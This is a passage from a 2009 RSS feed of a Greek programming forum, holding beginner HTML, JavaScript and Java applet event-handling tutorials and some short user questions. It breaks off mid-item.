		<description><![CDATA[pws mporw ta koumpia pou vazw mesa stin forma na einai me styl windows xp kai oxi klassika windows, pws mporw na valw o xristis na dialegei ena xroma gia to parathiro kai to xroma auto na anoigei to parathiro na vgenei to xroma pou dialekse o xristis, kai 1 erwtisi akoma... kai pws mporw mesa sto msg box na xrisimopiisw ton xaraktira " kai na fenetai mesa sto parathiro tou msg box?]]></description>
		<pubDate>Mon, 08 Jun 2009 16:31:25 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=846</guid>
	</item>
	<item>
		<title><![CDATA[Οριζόντιες Γραμμές &lt;HR&gt;]]></title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=861</link>
		<description><![CDATA[και για να την σχεδιάσουμε γράφουμε απλώς &lt;HR&gt;. Δεν υπάρχει &lt;/HR&gt; αφού μόλις φθάσει στην άκρη της σελίδας η γραμμή σταματά μόνη της.<br /><br /><br /><br />Οι παράμετροι της &lt;HR&gt; είναι:<br /><u>SIZE</u> <br /><b>Ο αριθμός των pixels του πάχους της οθόνης (default το SIZE=2)<br /><br /></b><u>WIDTH </u><br /><b>Το πλάτος της γραμμής (default το WIDTH=100% που καταλαμβάνει ολόκληρη την οθόνη)</b><br /><br /><u>ALIGN </u><br /><b>Χρειάζεται μόνο αν υπάρχει η παράμετρος WIDTH οπότε πρέπει να οριστεί αν η γραμμή θα αρχίζει από αριστερά (ALIGN=LEFT), δεξιά (ALIGN=RIGHT) ή αν θα είναι κεντραρισμένη (ALIGN=CENTER που είναι το default)</b><br /><br />NOSHADE <br /><b>Η γραμμή θα σχεδιαστεί σε μαύρο χρώμα</b><br /><br /><u><br />Π.χ. &lt;HR NOSHADE ALIGN=RIGHT SIZE=8 WIDTH=75%&gt;</u>]]></description>
		<pubDate>Tue, 09 Jun 2009 01:30:16 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=861</guid>
	</item>
	<item>
		<title>Πώς προσθέτουμε javascripts σε μια σελίδα</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=876</link>
		<description><![CDATA[Πολλοί προγραμματιστές δημιουργούν εφαρμογές σε javascript ή άλλα περιβάλλοντα (π.χ. Perl) για δική τους χρήση και στη συνέχεια τις τοποθετούν στο Internet, παρέχοντας τη δυνατότητα και σε άλλους χρήστες να επωφεληθούν από την εργασία τους. Ακόμη λοιπόν και αν δεν γνωρίζουμε javascript μπορούμε να προσθέσουμε κάποια ειδικά εφέ ή εφαρμογές στις σελίδες μας. Εννοείται φυσικά πως σε καμία περίπτωση δεν πρέπει να αντιγράφουμε κώδικα χωρίς τη συγκατάθεση του δημιουργού του. <br />Σήμερα υπάρχουν χιλιάδες javascripts αρχειοθετημένα σε ειδικές βιβλιοθήκες από τις οποίες μπορούμε να επιλέξουμε εκείνα που επιθυμούμε. Ας υποθέσουμε λοιπόν πως επισκευθήκαμε μια βιβλιοθήκη δωρεάν διάθεσης εφαρμογών javascript και επιλέξαμε την παρακάτω εφαρμογή: <br /><br /><br /><br /><br /><br />&lt;script&gt;<br />        // Created by Stavros Lagoudakis <br />        // e-mail: hawkeye@mad.scientist.com<br />        // This script is provided as is with no guarantees or support. <br />        // Please email me only if you have a serious business proposal.<br /><br />        var d=new Date();<br />            d.setTime(d.getTime());<br />        var month = 1;<br />        var sk="";<br />        if (d.getDate() == 1) {sk="<br />Have a nice month!"}        <br />        if (d.getDay() == 0) {day="Sunday"}<br />        if (d.getDay() == 1) {day="Monday"; sk="<br />Have a nice week!"}<br />        if (d.getDay() == 2) {day="Tuesday"}<br />        if (d.getDay() == 3) {day="Wednesday"}<br />        if (d.getDay() == 4) {day="Thursday"}<br />        if (d.getDay() == 5) {day="Friday"; sk="<br />Have a nice weekend!"}<br />        if (d.getDay() == 6) {day="Saturday"}<br />        month = d.getMonth() + 1;<br />        document.write("&lt;B&gt;&lt;FONT FACE=Arial COLOR=#FDEDB5 SIZE=-1&gt;" + day + " " + <br />        d.getDate() + "/" + month + "/" + d.getYear() + "&lt;/FONT&gt;&lt;/B&gt;&lt;FONT SIZE=-2 <br />        FACE=Arial COLOR=#000000&gt;&lt;BLINK&gt;" + sk +"&lt;/BLINK&gt;&lt;/FONT&gt;");<br />&lt;/Script&gt;<br /><br />Για να σας προλάβω, σας πληροφορώ πως δεν υπάρχει κανείς λόγος να γνωρίζετε τι σημαίνει όλος αυτός ο κώδικας (ούτε και εγώ γνωρίζω). Μην πανικοβάλεστε λοιπόν και ακολουθήστε απλώς την παλιά και δοκιμασμένη τακτική του copy - paste. Τα βήματα τα οποία ακολούθησα για να προσθέσω αυτό τον κώδικα στη σελίδα μου ήταν τα ακόλουθα: <br /><br />Επέλεξα το script που με ενδιαφέρει και βεβαιώθηκα πως έχω πράγματι δικαίωμα να το αντιγράψω. <br /><br />Επισκεύθηκα τη σελίδα όπου υπήρχε το script, είδα τον κώδικα (View - Source στον Internet Explorer ή View - Page Source στον Netscape Communicator) και τον αντέγραψα στη δικιά μου σελίδα. <br /><br />Ο κώδικας τοποθετήθηκε μέσα στην οδηγία &lt;HEAD&gt; μετά το &lt;/TITLE&gt; (όπως ακριβώς φαίνεται στο παραπάνω παράδειγμα). <br /><br />Οι παραπάνω εργασίες ισχύουν για όλα τα javascripts. Επειδή όμως κάθε script είναι και ένα ξεχωριστό "πρόγραμμα" με τις δικές του ιδιαιτερότητες πρέπει να διαβάσουμε και τις οδηγίες που έχει γράψει γι' αυτό ο κατασκευαστής του. Δυστυχώς οι οδηγίες αυτές συνήθως είναι σύντομες και γι' αυτό όχι ιδιαίτερα επεξηγηματικές, αν και αυτό είναι μάλλον δικαιολογημένο για ένα λογισμικό που μας δίδεται δωρεάν. <br /><br />Στην περίπτωση του παραπάνω παραδείγματος οι οδηγίες εμπεριέχονται μέσα στον κώδικα και τις ξεχωρίζουμε από τις δύο καθέτους (//) με τις οποίες ξεκινά κάθε γραμμή με σχόλια. <br /><br />Το πρώτο σχόλιο αποτελείται από μερικές γραμμές και μας δίνει τα στοιχεία του δημιουργού του script. <br /><br />        // Created by Stavros Lagoudakis <br />        // e-mail: hawkeye@mad.scientist.com<br />        // This script is provided as is with no guarantees or support. <br />        // Please email me only if you have a serious business proposal.<br /><br />Ακολουθεί μια σύντομη περιγραφή του τρόπου με τον οποίο λειτουργεί το script. <br /><br /><br />// The trick of this script is a simple gif-image<br />// consisting of two colors: black and white dots.<br />// The black dots are transparent.<br />// By wipeing this gif-image back and forth over the<br />// textmessages you get an attractive dissolving effect.<br />// This image is called slidefader.gif.<br /><br />Στη συνέχεια ο συγγραφέας, ακολουθώντας τη συνήθεια όσων δημιουργούν scipts, μας εξηγεί τι σημαίνει κάθε παράμετρος και ποιες τιμές πρέπει να δηλώσουμε σε αυτήν. <br /><br />// Configure the left and top margin of the text (pixels).<br /><br /><b><u>Σημείωση:</u></b> Το συγκεκριμένο script τοποθετείται σε όποιο σημείο της σελίδας θέλουμε (εκεί που θέλουμε να εμφανιστεί το μήνυμα). Πολλά scripts όμως τοποθετούνται υποχρεωτικά μέσα στην οδηγία &lt;HEAD&gt; π.χ. <br /><br />&lt;HEAD&gt;&lt;TITLE&gt;Ο τίτλος της σελίδας&lt;/TITLE&gt; &lt;script LANGUAGE="JavaScript"&gt;...ο κώδικας του]]></description>
		<pubDate>Tue, 09 Jun 2009 01:59:08 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=876</guid>
	</item>
	<item>
		<title>Chat</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=159</link>
		<description><![CDATA[&#904;&#955;&#949;&#959;&#962; &#960;&#953;&#945;... &#916;&#949;&#957; &#956;&#960;&#959;&#961;&#974;... &#922;&#940;&#960;&#959;&#953;&#959;&#962; &#945;&#962; &#946;&#959;&#951;&#952;&#942;&#963;&#949;&#953;... &#916;&#943;&#957;&#969; &#964;&#959;&#957; &#954;&#974;&#948;&#953;&#954;&#945; &#956;&#941;&#967;&#961;&#953; &#964;&#974;&#961;&#945;<br /><br /><br />&#917;&#953;&#957;&#945;&#953; &#963;&#964;&#959; attachment. &#913;&#960;&#959;&#964;&#949;&#955;&#949;&#943;&#964;&#945;&#953; &#945;&#960;&#972; 5 &#954;&#955;&#940;&#963;&#949;&#953;&#962;, &#964;&#953;&#962; ChatClient &#954;&#945;&#953; ChatServer (&#960;&#949;&#955;&#940;&#964;&#951;&#962; &#954;&#945;&#953; &#949;&#958;&#951;&#960;&#951;&#961;&#949;&#964;&#951;&#964;&#942;&#962;) &#954;&#945;&#953; &#964;&#953;&#962; ChatClientThread &#954;&#945;&#953; ChatServerThread (&#945;&#957;&#964;&#943;&#963;&#964;&#959;&#953;&#967;&#945; threads) &#956;&#945;&#950;&#943; &#956;&#949; &#956;&#943;&#945; &#949;&#958;&#964;&#961;&#945; &#954;&#955;&#940;&#963;&#951; &#960;&#959;&#965; &#959;&#961;&#943;&#950;&#949;&#953; &#964;&#951; &#956;&#941;&#952;&#959;&#948;&#959; &#949;&#953;&#963;&#945;&#947;&#969;&#947;&#942;&#962; &#949;&#957;&#964;&#959;&#955;&#974;&#957; &#945;&#960;&#972; &#964;&#959; cmd (cmdLineInput.java)<br /><br /><br />&#927;&#960;&#959;&#953;&#945;&#948;&#942;&#960;&#959;&#964;&#949; &#946;&#959;&#942;&#952;&#949;&#953;&#945; &#949;&#965;&#960;&#961;&#972;&#963;&#948;&#949;&#954;&#964;&#951;]]></description>
		<pubDate>Tue, 19 May 2009 15:15:03 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=159</guid>
	</item>
	<item>
		<title>Δεξί click</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=997</link>
		<description>Ρε παιδιά πως μπορώ να επεξεργαστώ το δεξί click στο textbox, και πως μπορώ να δημιουργήσω εγώ σε οποιο σημείο του παραθυρου θέλω?</description>
		<pubDate>Fri, 19 Jun 2009 21:50:25 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=997</guid>
	</item>
	<item>
		<title>C tutorial hacker university</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=962</link>
		<description>ena C tutorial apo ton filo mas Paxaroti</description>
		<pubDate>Wed, 17 Jun 2009 23:25:16 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=962</guid>
	</item>
	<item>
		<title>ΤΑ ΓΕΓΟΝΟΤΑ(EVENTS)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=953</link>
		<description><![CDATA[Σ’ αυτήν την παράγραφο θα προσπαθήσουμε να κατηγοριοποιήσουμε τα γεγονότα στα οποία πρέπει να ανταποκριθεί το applet σου. Δεν θα χρειάζεται κάθε applet να ανταποκρίνεται σε όλα τα γεγονότα.<br /><br /><br />Για μερικά events θα εσωκλείσουμε νέες μεθόδους για το EventTutor applet, που δίνει μια ακόμα πληροφορία. Θα χρειαστεί να αντικαταστήσουμε την παλιά μέθοδο με καινούργια.<br /><br /><b>init</b><br /><br />Η init() μέθοδος καλείται όταν το applet σου αρχίζει να εκτελείται. Το Netscape λέγεται, επίσης ότι καλεί αυτή τη μέθοδο σε άλλες στιγμές, όπως όταν ένα applet ξαναφορτώνεται ή όταν επιστρέφεις σε σελίδα που περιλαμβάνει ένα applet. Γενικά, χρησιμοποιείς αυτήν τη μέθοδο για να καθορίσεις κάθε δομή δεδομένων και να παρουσιάσεις οποιαδήποτε λειτουργία χρειάζεσαι για να είσαι έτοιμος να τρέξεις το applet. Από τότε που καλείται μια φορά είναι εύκολο να χάσεις την init() μέθοδο στο EventTutor applet. Αν είναι απαραίτητο ανακαθόρισε το standard output σε ένα αρχείο και κοίτα στην πρώτη γραμμή του αρχείου να το δεις.<br /><br />public void init() {<br /><br />System.out.println("init event");<br /><br />}<br /><br /> <br /><br /><b>paint</b><br /><br />Έχουμε ήδη δει τη μέθοδο paint(). Με αυτήν θα κάνεις όλη τη ζωγραφική. Μπορείς να γράψεις στην οθόνη του applet με τη μέθοδο paint. Θα υπάρξουν, όμως, στιγμές που θα θες να γράψεις σε ένα offscreen image με μια άλλη μέθοδο και μετά σχεδόν αμέσως να αντιγράψεις αυτό το image στην οθόνη στην μέθοδο paint().<br /><br />public void paint(Graphics g) {<br /><br />theList.addItem("paint event");<br /><br />}<br /><br /> <br /><br /><b>stop</b><br /><br />Ένα μήνυμα stop() λέει ότι ο χρήστης δεν κοιτάζει πλέον την σελίδα που περιέχει το applet. Αυτό συμβαίνει όχι επειδή ο χρήστης αφήνει τη σελίδα, αλλά ελαχιστοποιεί το παράθυρο. Από αυτήν την στιγμή πρέπει να σταματήσει κάθε CPU eating ενέργεια. Καθώς ο χρήστης επιστρέφει στη σελίδα καλείται η μέθοδος start().<br /><br />public void stop() <br /><br />theList.addItem("stop event");<br /><br />}<br /><br /> <br /><br /><b>start</b><br /><br />Η μέθοδος start() καλείται όταν ένας χρήστης επικεντρώνει την προσοχή του σε ένα applet π.χ. μετά από μεγιστοποίηση ενός παραθύρου ή επιστροφή στην σελίδα του applet. Καλείται μετά από την init() μέθοδο. Ο κώδικας αρχικοποίησης, που παρουσιάζεται κάθε φορά που ένα αpplet ξαναρχίζει , πρέπει να τοποθετηθεί εδώ.<br /><br /> <br /><br />public void start() {<br /><br />theList.addItem("start event");<br /><br />}<br /><br /> <br /><br /><b>destroy</b><br /><br />Η μέθοδος destroy() καλείται πριν το applet αποφορτωθεί εντελώς. Καλείται μετά τη μέθοδο stop(). Οι χρήστες ίσως ξαναφορτώσουν το applet αργότερα, αλλά αν το κάνουν θα ήταν σαν να μην το είχαν δει ποτέ πριν. Όλες οι μεταβλητές, στατικές, μέλη, τοπικές ή άλλες θα αρχικοποιηθούν. Αν έχεις κανένα τελικό ξεκαθάρισμα να κάνεις (π.χ. να στείλεις output πίσω στον http server) καν’ το εδώ. <br /><br /> <br /><br />public void destroy() {<br /><br />theList.addItem("destroy event");<br /><br />}<br /><br /> <br /><br /><b>update</b><br /><br />Η μέθοδος update() καλείται αυτόματα από το σύστημα. <br /><br />public void update(Graphics g) {<br /><br />theList.addItem("update event");<br /><br />}<br /><br /> <br /><br /><b>mouseUp</b><br /><br />Η μέθοδος mouseUp() καλείται όταν το κουμπί του ποντικιού απελευθερώνεται στο applet. Στις περισσότερες περιπτώσεις αυτό είναι το γεγονός που θα θέλεις να παρακολουθήσεις και όχι το mouseDown. Ένα κουμπί είναι τυπικά φωτισμένο όταν το κουμπί του ποντικιού πατιέται πάνω σ’ αυτό, αλλά δεν είναι ενεργοποιημένο μέχρι ο χρήστης να το απελευθερώσει. Αυτό δίνει στο χρήστη την ευκαιρία να αλλάξει τη γνώμη του μετακινώντας τον δρομέα από το αντικείμενο χωρίς να το απελευθερώσει.<br /><br />Η εξαίρεση θα είναι όταν θα θες να συνεχιστεί μια πράξη, καθώς το κουμπί του ποντικιού είναι κρατημένο.<br /><br />Η μέθοδος mouseUp() λαμβάνει επίσης τις συντεταγμένες του σημείου στο οποίο το ποντίκι ήταν απελευθερωμένο. <br /><br />public boolean mouseUp(Event e, int x, int y) {<br /><br />theList.addItem("mouseUp event at ("+x+","+y+ ")");<br /><br />return false;<br /><br />}<br /><br /> <br /><br /><b>mouseDown</b><br /><br />Η μέθοδος mouseDown καλείται όταν το κουμπί του ποντικιού πατιέται στο applet σου. Στις περισσότερες περιπτώσεις θέλεις να περιμένεις για ένα mouseUp γεγονός πριν λάβεις οποιαδήποτε δράση. Η μέθοδος mouseDown λαμβάνει επίσης τις συντεταγμένες του σημείου όπου το ποντίκι απελευθερώθηκε.<br /><br /> <br /><br />public boolean mouseDown(Event e, int x, int y) {<br /><br />theList.addItem("mouseDown event at (" + x + "," + y + ")");<br /><br />return false;<br /><br />}<br /><br /> <br /><br /><b>mouseDrag</b><br /><br />Η μέθοδος mouseDrag συμβαίνει όταν ένας χρήστης μετακινεί το ποντίκι καθώς διατηρεί πατημένο το κουμπί του ποντικιού. Η mouseDrag() μέθοδος λαμβάνει τις συντεταγμένες του σημείου που βρίσκεται το ποντίκι όταν συμβαίνει το γεγονός.<br /><br />public boolean mouseDrag(Event e, int x, int y) {<br /><br />theList.addItem("mouseDrag event at (" + x + "," + y + ")");<br /><br />return false;<br /><br />}<br /><br /> <br /><br /><b>mouseMove</b><br /><br />Η μέθοδος mouseMove συμβαίνει όταν ένας χρήστης μετακινεί το ποντίκι χωρίς να διατηρεί πατημένο το κουμπί του ποντικιού. Η μέθοδος mouseMove() λαμβάνει τις συντεταγμένες του σημείου στο οποίο βρίσκεται το ποντίκι όταν συμβεί το γεγονός.<br /><br />public boolean mouseMove(Event e, int x, int y) {<br /><br />theList.addItem("mouseMove event at (" + x + "," + y + ")");<br /><br />return false;<br /><br />}<br /><br /> <br /><br /><b>mouseEnter</b><br /><br />Το applet σου λαμβάνει ένα mouseEnter γεγονός, όταν ο δρομέας εισάγει το applet από κάπου αλλού. Θα λάβεις, επίσης, τις συντεταγμένες του σημείου στο οποίο ο δρομέας εισήγαγε το applet. Μετά που θα συμβεί αυτό, ακολουθείται τυπικά ένα Stream από τα mouseMoved γεγονότα, καθώς ο δρομέας συνεχίζει μέσα στο applet.<br /><br />public boolean mouseEnter(Event e, int x, int y) {<br /><br />theList.addItem("mouseEnter event at " + x + "," + y + ")");<br /><br />return false;<br /><br />}<br /><br /> <br /><br /><b>mouseExit</b><br /><br />Το applet σου λαμβάνει ένα mouseExit γεγονός, όταν ο δρομέας αφήνει το applet σου. Θα λάβεις επίσης τις συντεταγμένες του σημείου στο οποίο ο δρομέας αφήνει το applet σου. <br /><br />public boolean mouseExit(Event e, int x, int y) {<br /><br />theList.addItem("mouseExit event at (" + x + "," + y + ")");<br /><br />return false;<br /><br />} <br /><br /> <br /><br /><b>getFocus</b><br /><br />public void getFocus() {<br /><br />theList.addItem("getFocus event");<br /><br />} <br /><br /> <br /><br /><b>gotFocus</b><br /><br />public void gotFocus() {theList.addItem(‘gotFocus event’);}<br /><br /> <br /><br /><b>lostFocus</b><br /><br />public void lostFocus() {<br /><br />theList.addItem("lostFocus event");<br /><br />}<br /><br /> <br /><br /><b>keyDown</b><br /><br />Ένα keyDown γεγονός πραγματοποιείται όταν ο χρήστης πιέζει ένα κλειδί, καθώς το applet του είναι ενεργό. Ένας ακέραιος κωδικός κλειδιού επιστρέφεται δείχνοντας ποιο κλειδί ήταν πιεσμένο. Θα θελήσεις να το μετατρέψεις σε ένα χαρακτήρα και να λάβεις το πραγματικό γράμμα.<br /><br />public boolean keyDown(Event e, int x) {<br /><br />theList.addItem("The " + (char) x + " key was pressed.");<br /><br />return false;<br /><br />}]]></description>
		<pubDate>Mon, 15 Jun 2009 22:02:17 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=953</guid>
	</item>
	<item>
		<title>EVENTS(ΓΕΓΟΝΟΤΑ) ΚΑΙ APPLETS(ΜΙΝΙ ΕΦΑΡΜΟΓΕΣ)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=952</link>
		<description><![CDATA[Το ακόλουθο αpplet είναι σχεδιασμένο για να σου δώσει κάποια αίσθηση για το τι είναι προγραμματισμός καθοδηγούμενος από γεγονότα και ποια είναι τα διάφορα γεγονότα που πιθανόν θα συναντήσεις. Όταν συμβαίνει ένα γεγονός το applet ανταποκρίνεται τυπώνοντας το όνομα του γεγονότος στο command line.<br /><br /><br />import java.applet.Applet;<br />import java.awt.*;<br />              <br />public class EventTutor extends Applet {<br /><br />  public void init() {<br />    System.out.println("init event");<br />  }<br />  <br />  public void paint(Graphics g) {<br />    System.out.println("paint event");<br />  }<br />    <br />  public void start() {<br />    System.out.println("start event");<br />  }<br /> <br />  public void destroy() {<br />    System.out.println("destroy event");<br />  }<br /> <br />  public void update(Graphics g) {<br />    System.out.println("update event");<br />  }<br />  <br />  public boolean mouseUp(Event e, int x, int y) {<br />    System.out.println("mouseUp event");<br />    return false;<br />  }<br />  <br />  public boolean mouseDown(Event e, int x, int y) {<br />   System.out.println("mouseDown");<br />   return false;<br />  }<br />  <br />  public boolean mouseDrag(Event e, int x, int y) {<br />    System.out.println("mouseDrag event");<br />        return false;<br />  }<br />  <br />  public boolean mouseMove(Event e, int x, int y) {<br />    System.out.println("mouseMove event");<br />    return false;<br />  }<br />  <br />  public boolean mouseEnter(Event e, int x, int y) {<br />    System.out.println("mouseEnter event");<br />    return false;<br />  }<br />  <br /> public boolean mouseExit(Event e, int x, int y) {<br />    System.out.println("mouseExit event");<br />    return false;<br />  }<br />  <br />  public void getFocus() {<br />    System.out.println("getFocus event");<br />  }<br />  <br />  public void gotFocus() {<br />    System.out.println("gotFocus event");<br />  }<br />  <br />  public void lostFocus() {<br />    System.out.println("lostFocus event");<br />  }<br />  <br />  public boolean keyDown(Event e, int x) {<br />    System.out.println("keyDown event");<br />    return true;<br />  }<br />  <br />}<br /><br /><br /><br />Καθώς θα έχεις διορθώσει και φορτώσει αυτό το applet παίξε μαζί του. Κάνε κλικ στο παράθυρο του applet. Κάνε διπλό κλικ με το ποντίκι. Κάνε κλικ και σύρε το ποντίκι. Τύπωσε κάποιο κείμενο. Ξαναμέτρησε το παράθυρο του browser. Κάλυψέ το και μετά άνοιξέ το. Καθώς θα το κάνεις κράτα το βλέμμα σου στο standard output (Java console στο δίκτυο). <br /><br />Παρακάτω υπάρχουν μερικές ερωτήσεις;<br /><br /><br />1. Μπορείς να έχεις ένα mouseDown γεγονός, που δεν ακολουθείται από ένα mouseUp γεγονός;<br />2. Μπορείς να έχεις ένα mouseDown γεγονός, που δεν ακολουθείται από ένα mouseDrag γεγονός;<br />3. Μπορείς να έχεις ένα mouseUp γεγονός, που δεν προηγείται ενός mouseDown γεγονότος;<br />4. Τι πρέπει να συμβεί για να πραγματοποιηθεί ένα paint γεγονός;<br />5. Ποια είναι τα πιο κοινά γεγονότα; Γιατί;<br />6. Υπάρχουν γεγονότα που δεν βλέπεις;<br />7. Πόσες φορές μπορείς να καλέσεις το start γεγονός και πόσες το stop γεγονός;<br />8. Από αυτά τα γεγονότα μπορείς να καταλάβεις πώς θα το κάνεις; Με πόσους διαφορετικούς τρόπους μπορείς να το κάνεις;<br /><br />Υπάρχουν αρκετά νέα πράγματα σ’ αυτόν τον κώδικα, αλλά δεν είναι ιδιαίτερα δύσκολα. Πρώτον, είναι η δήλωση import java.awt.*. Αυτήν τη φορά χρειαζόμαστε παραπάνω από μια κλάση από το πακέτο awt. Για να μην ανησυχούμε ποιο να εισάγουμε τα παίρνουμε όλα με το *. Ο compiler είναι αρκετά ‘έξυπνος’ για να συνδέσει μόνο αυτά που πραγματικά χρειάζεται.<br /><br />Τελικά, υπάρχει ένα σύνολο από νέες μεθόδους γεγονότων. Θα τις καλύψουμε στο επόμενο κεφάλαιο. Προς το παρόν δες κάτω από ποιες συνθήκες μπορούν όλα αυτά να συμβούν.<br /><br /><br /><br /><b>Δημιουργώντας μία λίστα</b><br /><br />Είναι ανάρμοστο να χρησιμοποιούμε τον τύπο System.out.println() σε μια μίνι εφαρμογή. Σε μερικά συστήματα αυτό μπορεί να μην δουλεύει καθόλου. Όμως, έχει το πλεονέκτημα να είναι οικείο και εύκολο. Για πιο σοβαρές εφαρμογές θα πρέπει να ζωγραφίσεις το κείμενο σου στο παράθυρο της μίνι εφαρμογής. Υπάρχουν τουλάχιστον τρεις διαφορετικοί τρόποι για να το κάνεις αυτό. Για τους δικούς μας σκοπούς αυτό που κάνει μεγαλύτερη αίσθηση είναι η χρήση λίστας.<b><br /></b><br />Μια λίστα είναι μια κυλιόμενη λίστα από συμβολοσειρές που ορίζονται στο java.awt.List. Θα δημιουργήσουμε μια καινούργια λίστα, ακριβώς όπως δημιουργούμε ένα αντικείμενο. Ο συγκεκριμένος κατασκευαστής constructor) που χρησιμοποιούμε, ψάχνει για έναν int (έτσι είναι το όνομα των ορατών γραμμών) και έναν boolean, το οποίο λέει αν επιτρέπονται ή όχι πολλαπλές επιλογές. Θα ζητήσουμε 25 γραμμές και καθόλου πολλαπλές επιλογές.<br /><br />List theList; <br /><br />theList = new List(25, false); <br /><br />Θα προσθέσουμε strings στην λίστα χρησιμοποιώντας την μέθοδο addItem από το List.<br /><br />theList.addItem("This is a list item");<br /><br />Τέλος χρειάζεται να προσθέσουμε αυτήν την λίστα στο αpplet μας(πιο συγκεκριμένα στο αpplet container).Αυτό το κάνουμε με τη γραμμή: add(theList); στην init μέθοδο. Αυτό είναι όλο. Μπορούμε να χρησιμοποιήσουμε το ίδιο applet με αυτό που χρησιμοποιήσαμε πριν, με αυτές τις μικρές αλλαγές.<br />import java.applet.Applet;<br />import java.awt.*;<br />              <br />public class EventList extends Applet {<br /><br />  List theList; <br /><br />  public void init() {<br />    theList = new List(25, false);<br />    add(theList);<br />    theList.addItem("init event");<br />  }<br />  <br />  public void paint(Graphics g) {<br />    theList.addItem("paint event");<br />  }<br />    <br />  public void start() {<br />    theList.addItem("start event");<br />  }<br /> <br />  public void destroy() {<br />    theList.addItem("destroy event");<br />  }<br /> <br />  public void update(Graphics g) {<br />    theList.addItem("update event");<br />  }<br />  <br />  public boolean mouseUp(Event e, int x, int y) {<br />    theList.addItem("mouseUp event");<br />    return false;<br />  }<br />  <br />  public boolean mouseDown(Event e, int x, int y) {<br />   theList.addItem("mouseDown");<br />   return false;<br />  }<br />  <br />  public boolean mouseDrag(Event e, int x, int y) {<br />    theList.addItem("mouseDrag event");<br />        return false;<br />  }<br />  <br />  public boolean mouseMove(Event e, int x, int y) {<br />    theList.addItem("mouseMove event");<br />    return false;<br />  }<br />  <br />  public boolean mouseEnter(Event e, int x, int y) {<br />    theList.addItem("mouseEnter event");<br />    return false;<br />  }<br />  <br /> public boolean mouseExit(Event e, int x, int y) {<br />    theList.addItem("mouseExit event");<br />    return false;<br />  }<br />  <br />  public void getFocus() {<br />    theList.addItem("getFocus event");<br />  }<br />  <br />  public void gotFocus() {<br />    theList.addItem("gotFocus event");<br />  }<br />  <br />  public void lostFocus() {<br />    theList.addItem("lostFocus event");<br />  }<br />  <br />  public boolean keyDown(Event e, int x) {<br />    theList.addItem("keyDown event");<br />    return true;<br />  }<br />  <br />}<br /><br /><br /><br /><br />]]></description>
		<pubDate>Mon, 15 Jun 2009 21:58:24 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=952</guid>
	</item>
	<item>
		<title>Η ΕΤΙΚΕΤΑ (TAG) APPLET ΤΗΣ HTML</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=951</link>
		<description><![CDATA[Οι Applets συμπεριλαμβάνονται στις σελίδες του δικτύου χρησιμοποιώντας την ετικέτα &lt;APPLET&gt;. Η ετικέτα &lt;APPLET&gt; είναι σχεδόν όμοια με την ετικέτα &lt;IMG&gt;. Όπως το &lt;IMG&gt; έτσι και το &lt;APPLET&gt; πρέπει να αναφέρεται σ’ ένα πηγαίο αρχείο που δεν είναι τμήμα της σελίδας HTML στην οποία βρίσκεται. Τα IMG το κάνουν αυτό με το SRC=parameter. <br /><br />Tα APPLET το κάνουν αυτό με το CODE=parameter. Η παράμετρος CODE λέει στον browser πού να κοιτάξει για το μεταγλωτισμένο αρχείο .class. Αυτό σχετίζεται με το πού βρίσκεται το πηγαίο κείμενο. Έτσι αν έχουμε CODE=animation.class, τότε το αρχείο animation.class πρέπει να βρίσκεται στο <a href="http://metalab.unc.edu/javafaq" target="_blank">http://metalab.unc.edu/javafaq</a> /animation.class.<br /><br /><br />Για λόγους που οι συγγραφείς της HTML δεν γνωρίζουν, αλλά που πιθανόν να έχουν σχέση με τα πακέτα και τα classpaths, αν η εφαρμογή δεν βρίσκεται στο ίδιο directory με τη σελίδα τότε δεν δίνετε απλά ένα URL στην τοποθεσία του. Δείχνετε το directory όπου το αρχείο .class χρησιμοποιεί την παράμετρο CODEBASE. Πρέπει ακόμα να χρησιμοποιείτε το CODE για να δώσετε όνομα στο αρχείο .class.<br /><br />To APPLET, όπως και το IMG, έχει αρκετές παραμέτρους που προσδιορίζουν το πώς τοποθετείται στη σελίδα. Οι παράμετροι HEIGHT και WIDTH, που λειτουργούν όπως ακριβώς και στο IMG, καθορίζουν το πόσο μεγάλο θα είναι το ορθογώνιο που πρέπει να αφήσει ο browser για την εφαρμογή. Αυτοί οι αριθμοί εκφράζονται σε pixels. <br /><br />To ALIGN (στους browsers που το υποστηρίζουν, καθορίζει πώς τοποθετείται στη σελίδα το ορθογώνιο της εφαρμογής σε σχέση με τα άλλα στοιχεία. Οι πιθανές τιμές συμπεριλαμβάνουν τις LEFT, RIGHT, TOP, TEXTTOP, MIDDLE, ABSMIDDLE, BASELINE, BOTTOM και ABSBOTTOM. Τέλος, όπως και στα IMG μπορούμε να καθορίσουμε το HSPACE και το VSPACE για να εκφράσουμε το κενό διάστημα ανάμεσα στην εφαρμογή και το κείμενο.<br /><br /><br /><br />Το APPLET έχει επίσης και την ετικέτα ALT. Το ALT δεν εφαρμόζεται σε κανέναν browser μέχρι τώρα. Μία ετικέτα ALT χρησιμοποιείται από έναν browser που αναγνωρίζει την ετικέτα APPLET αλλά για κάποιο λόγο δεν μπορεί να παίξει την εφαρμογή. Για παράδειγμα, αν μια εφαρμογή πρέπει να γράψει ένα αρχείο στο σκληρό δίσκο αλλά δεν του επιτρέπεται, τότε ο browser θα πρέπει να δείξει το κείμενο ALT. <br /><br /><b>Περνώντας παραμέτρους στα applets(μίνι εφαρμογές).</b><br /><br />Η περιοχή ανάμεσα στο άνοιγμα και το κλείσιμο της ετικέτας του applet χρησιμοποιείται, επίσης, για να περαστούν παράμετροι στις μίνι εφαρμογές. Αυτό επιτυγχάνεται με τη χρήση της ετικέτας 